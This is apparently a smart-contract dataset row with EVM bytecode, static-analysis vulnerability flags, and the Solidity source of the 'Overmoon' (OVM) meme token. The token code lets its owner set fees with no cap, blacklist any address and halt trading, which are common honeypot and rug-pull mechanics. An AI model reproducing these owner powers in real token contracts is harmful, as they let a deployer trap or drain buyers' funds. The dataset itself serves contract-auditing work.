a20544137d4121396885826040518082815260200191505060405180910390a2600191505b5b5090565b600e5481565b6000610dcd33426127bb565b90505b90565b6000806000606060048101600036905010151515610df057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614151515610e2c57600080fd5b601260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549250610efd85601160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7090919063ffffffff16565b601160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f9285601160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279c90919063ffffffff16565b601160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fe88584612a7090919063ffffffff16565b601260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a36000601360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050111561116457601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006111639190612aa6565b5b429150601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080548060010182816111b89190612ac8565b916000526020600020900160005b6040805190810160405280601160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546fffffffffffffffffffffffffffffffff1681526020018667ffffffffffffffff16815250909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080548060010182816112fd9190612ac8565b916000526020600020900160005b6040805190810160405280896fffffffffffffffffffffffffffffffff1681526020018667ffffffffffffffff16815250909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050600193505b5b5050509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141e57600080fd5b6000600a541115801561143357506008548110155b151561143e57600080fd5b80600a819055505b5b50565b600f5481565b60075481565b600061146d60095443612a7090919063ffffffff16565b90505b90565b60085481565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b600a5481565b6000806000806000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561152d57600080fd5b6000875111801561153f575085518751145b151561154a57600080fd5b60009350600092505b855183101561159657611586868481518110151561156d57fe5b906020019060200201518561279c90919063ffffffff16565b93505b8280600101935050611553565b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484111515156115e457600080fd5b429150600090505b86518110156118a457611675868281518110151561160657fe5b90602001906020020151601160008a8581518110151561162257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279c90919063ffffffff16565b60116000898481518110151561168757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506013600088838151811015156116e157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080548060010182816117379190612ac8565b916000526020600020900160005b60408051908101604052808a8681518110151561175e57fe5b906020019060200201516fffffffffffffffffffffffffffffffff1681526020018667ffffffffffffffff16815250909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050868181518110151561181157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef888481518110151561187757fe5b906020019060200201516040518082815260200191505060405180910390a35b80806001019150506115ec565b6118f684601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7090919063ffffffff16565b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905011156119d057601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006119cf9190612aa6565b5b6000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611b5e57601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054806001018281611a699190612ac8565b916000526020600020900160005b6040805190810160405280601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546fffffffffffffffffffffffffffffffff1681526020018667ffffffffffffffff16815250909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505050505b600194505b5b5050505092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bf057600080fd5b600081111515611bff57600080fd5b611c5181601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7090919063ffffffff16565b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611cdf9190612aa6565b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054806001018281611d309190612ac8565b916000526020600020900160005b6040805190810160405280601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546fffffffffffffffffffffffffffffffff1681526020014267ffffffffffffffff16815250909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050611e3981600e54612a7090919063ffffffff16565b600e81905550611e5481601054612a7090919063ffffffff16565b601081905550611e72600a8202600f54612a7090919063ffffffff16565b600f819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25b5b50565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611f615780601f10611f3657610100808354040283529160200191611f61565b820191906000526020600020905b815481529060010190602001808311611f4457829003601f168201915b505050505081565b60105481565b600080604060048101600036905010151515611f8a57600080fd5b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611fcd57611fc6610a49565b9250612446565b61201f84601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7090919063ffffffff16565b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120b484601160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279c90919063ffffffff16565b601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36000601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905011156121f357601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006121f29190612aa6565b5b429150601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080548060010182816122479190612ac8565b916000526020600020900160005b6040805190810160405280601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546fffffffffffffffffffffffffffffffff1681526020018667ffffffffffffffff16815250909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480600101828161238c9190612ac8565b916000526020600020900160005b6040805190810160405280886fffffffffffffffffffffffffffffffff1681526020018667ffffffffffffffff16815250909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050600192505b5b505092915050565b600080429050600d54915060006124876301e13380612479600a5485612a7090919063ffffffff16565b612a8a90919063ffffffff16565b14156124ae576124a76064600d5461067202612a8a90919063ffffffff16565b91506124ff565b60016124db6301e133806124cd600a5485612a7090919063ffffffff16565b612a8a90919063ffffffff16565b14156124fe576124fb6064600d5461030202612a8a90919063ffffffff16565b91505b5b5b5090565b600b5481565b60095481565b6000601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b92915050565b600c5481565b600d5481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561260057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561263c57600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b50565b600080600080600a54421015801561269c57506000600a54115b15156126a757600080fd5b4292506126b485846127bb565b91506000821115156126c95760009350612794565b600d54905060006126fb6301e133806126ed600a5487612a7090919063ffffffff16565b612a8a90919063ffffffff16565b14156127225761271b6064600d5461067202612a8a90919063ffffffff16565b9050612773565b600161274f6301e13380612741600a5487612a7090919063ffffffff16565b612a8a90919063ffffffff16565b14156127725761276f6064600d5461030202612a8a90919063ffffffff16565b90505b5b612791600754600a0a61016d02828402612a8a90919063ffffffff16565b93505b505050919050565b60008082840190508381101515156127b057fe5b8091505b5092915050565b600080600080601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501115156128145760009250612a68565b600091505b601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050821015612a67576128f4600b54601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020848154811015156128b557fe5b906000526020600020900160005b5060000160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1661279c90919063ffffffff16565b84101561290057612a5a565b61298f601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110151561294f57fe5b906000526020600020900160005b5060000160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1685612a7090919063ffffffff16565b9050600c548111156129a157600c5490505b612a576129ba6201518083612a8a90919063ffffffff16565b601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002084815481101515612a0657fe5b906000526020600020900160005b5060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16028461279c90919063ffffffff16565b92505b8180600101925050612819565b5b505092915050565b6000828211151515612a7e57fe5b81830390505b92915050565b6000808284811515612a9857fe5b0490508091505b5092915050565b5080546000825590600052602060002090810190612ac49190612af4565b5b50565b815481835581811511612aef57818360005260206000209182019101612aee9190612af4565b5b505050565b612b4e91905b80821115612b4a57600080820160006101000a8154906fffffffffffffffffffffffffffffffff02191690556000820160106101000a81549067ffffffffffffffff021916905550600101612afa565b5090565b905600a165627a7a72305820cc0eab24276d84440c4292afb322b2bb37089bde5f9bf57b5d1b09eb9e6dcb740029 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 983 |
0xe631aff297de46a95a089e295ac3cc685c12b097 | // SPDX-License-Identifier: Unlicensed
//This is a story of fiction
//Dr.Rosalene and Dr.Watts have a very special job: they can give people a second chance at life, which of course only exists in the minds of the dying.
//The technique of modifying memories to accommodate a person's last wishes can only be performed on the dying because new artificial memories will replace real ones.
//We follow two doctors into the memory of an old man, Johnny, as he realizes his dream.
//We've pieced together Johnny's memories of the events that haunted him, and tried to figure out what would make a frail old man wish this before he died.
//And Johnny's last wish was... Go to the moon.
//Our project = Blockchain written record platform
//1,000,000,000,000
//500,000,000,000
//10,000,000,000
//6 ETH
//6%
//Launch in 10 minutes
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract OVM is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Overmoon";
string private constant _symbol = "OVM";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 6;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 6;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xCeF593063158D5Bb5275e5c1573F589c76f2614a);
address payable private _marketingAddress = payable(0xCeF593063158D5Bb5275e5c1573F589c76f2614a);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000010 * 10**9;
uint256 public _maxWalletSize = 10000000010 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610553578063dd62ed3e14610573578063ea1644d5146105b9578063f2fde38b146105d957600080fd5b8063a2a957bb146104ce578063a9059cbb146104ee578063bfd792841461050e578063c3c8cd801461053e57600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b411461048257806398a5c315146104ae57600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611953565b6105f9565b005b34801561020a57600080fd5b5060408051808201909152600881526727bb32b936b7b7b760c11b60208201525b6040516102389190611a18565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611a6d565b610698565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b50683635c9adc5dea000005b604051908152602001610238565b3480156102db57600080fd5b506102616102ea366004611a99565b6106af565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610238565b34801561032d57600080fd5b50601554610291906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611ada565b610718565b34801561036d57600080fd5b506101fc61037c366004611b07565b610763565b34801561038d57600080fd5b506101fc6107ab565b3480156103a257600080fd5b506102c16103b1366004611ada565b6107f6565b3480156103c257600080fd5b506101fc610818565b3480156103d757600080fd5b506101fc6103e6366004611b22565b61088c565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611ada565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610291565b34801561045857600080fd5b506101fc610467366004611b07565b6108bb565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b506040805180820190915260038152624f564d60e81b602082015261022b565b3480156104ba57600080fd5b506101fc6104c9366004611b22565b610903565b3480156104da57600080fd5b506101fc6104e9366004611b3b565b610932565b3480156104fa57600080fd5b50610261610509366004611a6d565b610970565b34801561051a57600080fd5b50610261610529366004611ada565b60106020526000908152604090205460ff1681565b34801561054a57600080fd5b506101fc61097d565b34801561055f57600080fd5b506101fc61056e366004611b6d565b